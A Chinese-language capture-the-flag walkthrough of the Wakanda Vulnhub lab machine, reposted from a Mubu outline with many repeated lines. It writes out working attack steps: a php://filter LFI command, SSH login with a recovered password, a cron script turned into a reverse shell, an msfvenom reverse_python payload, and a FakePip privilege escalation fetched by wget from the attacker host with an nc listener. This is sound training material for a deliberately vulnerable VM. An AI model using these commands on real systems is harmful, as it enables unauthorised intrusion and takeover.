Wakanda Vulhub - 幕布
Wakanda Vulhub- 首先下載Wakanda的虛擬機鏡像
- 位于一個網站上,:https://www.vulnhub.com,提供多種可進行滲透測驗的靶機,雖然下載可能比較慢
- 找到Wakanda:
- 或者在網上找上傳至百度網盤的檔案:鏈接:https://pan.baidu.com/s/1xwr1li8sJ-Yc7h_jOtVOcw 密碼:aixl 不保證永久有效
- 作者只提供了ova檔案,故只能使用VirtualBox 打開這個虛擬機
- 然后在攻擊機(Kali)上首先進行目標主機的探測
- 使用命令,netdiscover或帶有引數指定網卡,IP段等的命令,進行探測,也可是使用arp的相關命令,這比netdiscover快一些
-
- 注意:可能由于網路設定上的問題,在Vmware上的Kali一直探測不到VirtualBox上的Wakanda,起初Wakanda的網卡設定為Host Only,僅主機模式,如果在VBox上開啟 其他Linux系統,可以探測到,后來經過多種嘗試仍然無法探測到,于是我將Kali 的網路修改為橋接模式,直接連接物理機的網路狀態,應該是橋接到了Vbox的hostonly網卡上,kali的ip變成了192.168.56.103
- 查看自己的IP
-
- 然后進行探測
- 名稱為PCS ,,,的就是我們的目標靶機,不知為何會出現 兩個,但是接下來使用nmap掃描時會發現真正有用的下面的那一個,即:192.168.56.101
- 名稱為PCS ,,,的就是我們的目標靶機,不知為何會出現 兩個,但是接下來使用nmap掃描時會發現真正有用的下面的那一個,即:192.168.56.101
- 使用命令,netdiscover或帶有引數指定網卡,IP段等的命令,進行探測,也可是使用arp的相關命令,這比netdiscover快一些
- 然后使用nmap進行埠掃描
- 探測到時VBox的虛擬機機,開放的埠以及開啟的服務,經過查詢 3333|木馬Prosiak開放此埠,,,但是在網上看到的以及后續利用的說這是SSH服務的埠
- 也可以使用帶有引數的nmap 命令,如全埠掃描:namp -sS -p- 192.168.56.101
- 探測到時VBox的虛擬機機,開放的埠以及開啟的服務,經過查詢 3333|木馬Prosiak開放此埠,,,但是在網上看到的以及后續利用的說這是SSH服務的埠
- 對開放的服務即埠進行分析,可以發現目標機在80埠上開放了http服務,即有Web服務,可以嘗試進行訪問,在虛擬機和物理機均可,是一個交易網站、
-
- 然后嘗試使用Nikto 進行網站漏洞分掃描,nikto -h 192.168.56.101
- 并沒有重大的發現,有時也可以嘗試其他的網站掃描工具,如awvs,owasp等
- 并沒有重大的發現,有時也可以嘗試其他的網站掃描工具,如awvs,owasp等
- 接著使用dirb列舉一下它的目錄看看,drib http://192.168.56.101 應該是使用了一個common.txt的字典
- 發現了6個,嘗試進行訪問,發現沒有任何資訊
- 發現了6個,嘗試進行訪問,發現沒有任何資訊
- 查看網頁的源代碼
- 發現有這樣一條注釋十分顯眼<!-- <a href="https://www.cnblogs.com/llzz38-blog/p/?lang=fr">Fr/a> -->,將?lang=fr輸入地址欄發現原來是英文的那段話變成了法語
-
-
- 發現有這樣一條注釋十分顯眼<!-- <a href="https://www.cnblogs.com/llzz38-blog/p/?lang=fr">Fr/a> -->,將?lang=fr輸入地址欄發現原來是英文的那段話變成了法語
- 根據網上看到的說法,這里很可能存在本地檔案包含(LFI)或遠程檔案包含(RFI)漏洞,為了測驗是否存在LFI漏洞,使用curl工具,使用php filter偽協議來讀取index檔案原始碼,命令:curl http://192.168.56.101/?lang=php://filter/convert.base64-encode/resource=index
- 可以得到index.php加密的原始碼
- 可以得到index.php加密的原始碼
- 兩個漏洞的介紹
- LFI 本地包含
- LFI漏洞允許用戶通過在URL中包括一個檔案
-
- 例子
- 在基本的LFI攻擊中,我們可以使用(../)或簡單地(/)從目錄中直接讀取檔案的內容,下面的截圖中在瀏覽器URL中訪問密碼檔案
- 有的安全級別比較高,可能無法訪問密碼檔案,這就可能需要利用burpsuite攔截請求進行一定的修改
- 其次就是本次實驗的情況,利用php函式
- 從以下截圖可以看到passwd檔案內容編碼為base64,復制整個編碼文本,而我在實驗時應該是將整個都進行編碼了
- 從以下截圖可以看到passwd檔案內容編碼為base64,復制整個編碼文本,而我在實驗時應該是將整個都進行編碼了
- 還可以利用php 的Input函式
- 使用PHP Input函式,通過執行注入PHP代碼來利用LFI漏洞
- 通過反向連接連接目標機器; 在kali Linux中打開終端輸入msfconsole啟動metasploit,
- LFI漏洞允許用戶通過在URL中包括一個檔案
- 遠程檔案包含
- 如果php.ini的配置選項allow_url_include為On的話,檔案包含函式是可以加載遠程檔案的,
- 即服務器通過PHP的特性(函式)去包含任意檔案時,由于要包含的這個檔案來源過濾不嚴格,從而可以去包含一個惡意檔案,攻擊者就可以遠程構造一個特定的惡意檔案達到攻擊目的,
- 原理
- 同本地檔案包含原理,只是引數可以換成一個遠程的url地址,此時包含的檔案不能為php檔案,可寫成txt或者圖片馬等等
- 檔案包含的時候,無視檔案格式,只要檔案中有php代碼,就會被執行 一句話木馬
- 之后使用菜刀連接即可
- 思路
-
- LFI 本地包含
- 然后將這段加密后的原始碼保存,使用命令:base64 index -d進行解密 后續還可以進一步使用其他方法獲得這個密碼,但是利用的漏洞都是一樣的
- 發現 password="Niamey4Ever227!!!"
- 發現 password="Niamey4Ever227!!!"
- 之前測驗過這個服務的其他目錄無法使用,如admin,backup等,在埠掃描時注意到有個3333埠開放,后面的名稱寫的dec-notes,看到網上說這是SSH服務的埠,然后根據前面解密得到的密碼,以及在網頁上發現的用戶名mamado,進行遠程登錄,ssh [email protected] -p 3333
- 得到了一個python的命令列模式,使用的shell 不是bash 是python
- 得到了一個python的命令列模式,使用的shell 不是bash 是python
- 然后輸入import pty 使用這個模塊,用于切換到bash shell.之后的命令是pty.spwan("/bin/bash")
- 該pty模塊定義了處理偽終端概念的操作:啟動另一個行程并能夠以編程方式寫入和讀取其控制終端
- pty.spawn(argv[, master_read[, stdin_read]]) 產生一個行程,并將其控制終端與當前行程的標準io連接起來,這常常被用來擋住堅持從控制終端讀取的程式
- 成功地到了bash模式
- 在當前的目錄下得到第一個flag
-
- 然后探索其他目錄,使用命令:find / --name "*flag*" 2>/dev/null進行查找沒有任何結果,可能是沒有權限訪問,再去/var/www/html目錄下看看,依舊沒有
-
- 查看當前用戶是否具有root權限
-
- 查找其他用戶,cat /etc/passwd
- 發現在當前用戶下面有個devops用戶,
- 切換 ,cd /home/devops,進行查看,發現了第二個flag,但是沒有查看的權限
- 這就指明接下來的思路是獲得devops用戶的權限
- 這就指明接下來的思路是獲得devops用戶的權限
- 發現在當前用戶下面有個devops用戶,
- 繼續探索目錄,在tmp目錄下
- 發現有個test檔案,根據系統時間和其創建的時間,我們懷疑靶機上運行了一個程式,定期執行創建test檔案,這里需要用到帶有引數的ls 命令:ls -lar這條命令可以列出目錄下專案的用戶,修改時間等,這里test檔案的時間要比其他的都晚
- 發現有個test檔案,根據系統時間和其創建的時間,我們懷疑靶機上運行了一個程式,定期執行創建test檔案,這里需要用到帶有引數的ls 命令:ls -lar這條命令可以列出目錄下專案的用戶,修改時間等,這里test檔案的時間要比其他的都晚
- 在經過別人的尋找之后,在srv目錄下發現了一個python程式,叫做antivirus.py在執行創建test的命令,其內容為
- 很有可能srv目錄下放的就是一些開機執行,自動執行,定期執行的程式,腳本等
- 很有可能srv目錄下放的就是一些開機執行,自動執行,定期執行的程式,腳本等
- 接下來可以有兩種方式得到devops的權限,一種是利用存在的python檔案,利用編程,還有一種是利用msfvenom生成payload,將其放入原來的py檔案,注釋掉原來的代碼,后面的偵聽程序都是一致的
- 第一種
- 由此,看出這個檔案的所屬是devops,屬組是developers,任何人都能修改,可以進行修改作為一個反向shell
- 這里應該是socket編程,讓它與攻擊機的1235埠有連接
-
- subprocess模塊:
- 運行python的時候,我們都是在創建并運行一個行程,像Linux行程那樣,一個行程可以fork一個子行程,并讓這個子行程exec另外一個程式,在Python中,我們通過標準庫中的subprocess包來fork一個子行程,并運行一個外部的程式,
- subprocess包中定義有數個創建子行程的函式,這些函式分別以不同的方式創建子行程,所以我們可以根據需要來從中選取一個使用,另外subprocess還提供了一些管理標準流(standard stream)和管道(pipe)的工具,從而在行程間使用文本通信,
- os模塊
- 是系統的介面
- os.dup2() 方法用于將一個檔案描述符 fd 復制到另一個 fd2,沒有回傳值
-
- 然后在kali上偵聽該埠,nc -lvvp 1235
- 成功進入devops的shell
-
- 然后查看之前在/home/devops下找到的第二個flag
-
- 成功進入devops的shell
- 這里應該是socket編程,讓它與攻擊機的1235埠有連接
- 由此,看出這個檔案的所屬是devops,屬組是developers,任何人都能修改,可以進行修改作為一個反向shell
- 第二種
- 使用msfvenom生成payload
- msfvenom -p cmd/unix/reverse_python lhost=192.168.56.101 lport=4444 R
- msfvenom -p cmd/unix/reverse_python lhost=192.168.56.101 lport=4444 R
- 然后將-c后的payoad復制進之前發現的antivirus.py中,并注釋掉原來的代碼
- 然后對設定的埠進行監聽,我可能是網路設定的原因,無法連接
- 使用msfvenom生成payload
- 想辦法提權
- 查看devops的root權限,發現在nopass的情況下只有pip可以使用
- sudo -l命令
- sudo -l命令
- 關于pip命令,有一個漏洞可以利用,GitHub上有一個利用腳本Fakepip https://github.com/0x00-0x00/FakePip
- 利用pip升級漏洞
- 由于在靶機上下載不方便,先在kali上下載下來 git clone https://github.com/0x00-0x00/FakePip.git
-
- 進行修改,主要是IP,監聽的埠可以自行選擇是否修改,但一定與后面監聽的埠一致
- 如圖,默認的埠是 13372
- 如圖,默認的埠是 13372
- 然后在當前的目錄下利用python開啟一個簡單的http服務,提供靶機下載,python -m SimpleHTTPServer 8888
- 然后在靶機上,wget http:192.168.56.103:8888/setup.py
- 然后在靶機上,wget http:192.168.56.103:8888/setup.py
- 然后在靶機上使用root權限執行sudo /usr/bin/pip install . --upgrade --force-reinstall 執行這個EXp
-
- 在kali上監聽EXP中設定的埠,nc -lvvp 13372
- 得到反彈shell
- 得到反彈shell
- 獲得root權限后,查看根目錄,得到最后一個flag
-
- 由于在靶機上下載不方便,先在kali上下載下來 git clone https://github.com/0x00-0x00/FakePip.git
- 在這里普及一下漏洞的名稱知識
- https://blog.csdn.net/lixue20141529/article/details/77900712
- 查看devops的root權限,發現在nopass的情況下只有pip可以使用
- 至此找到了所有的flag 并獲得了root權限
以上內容整理于 幕布
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/6595.html
標籤:其他
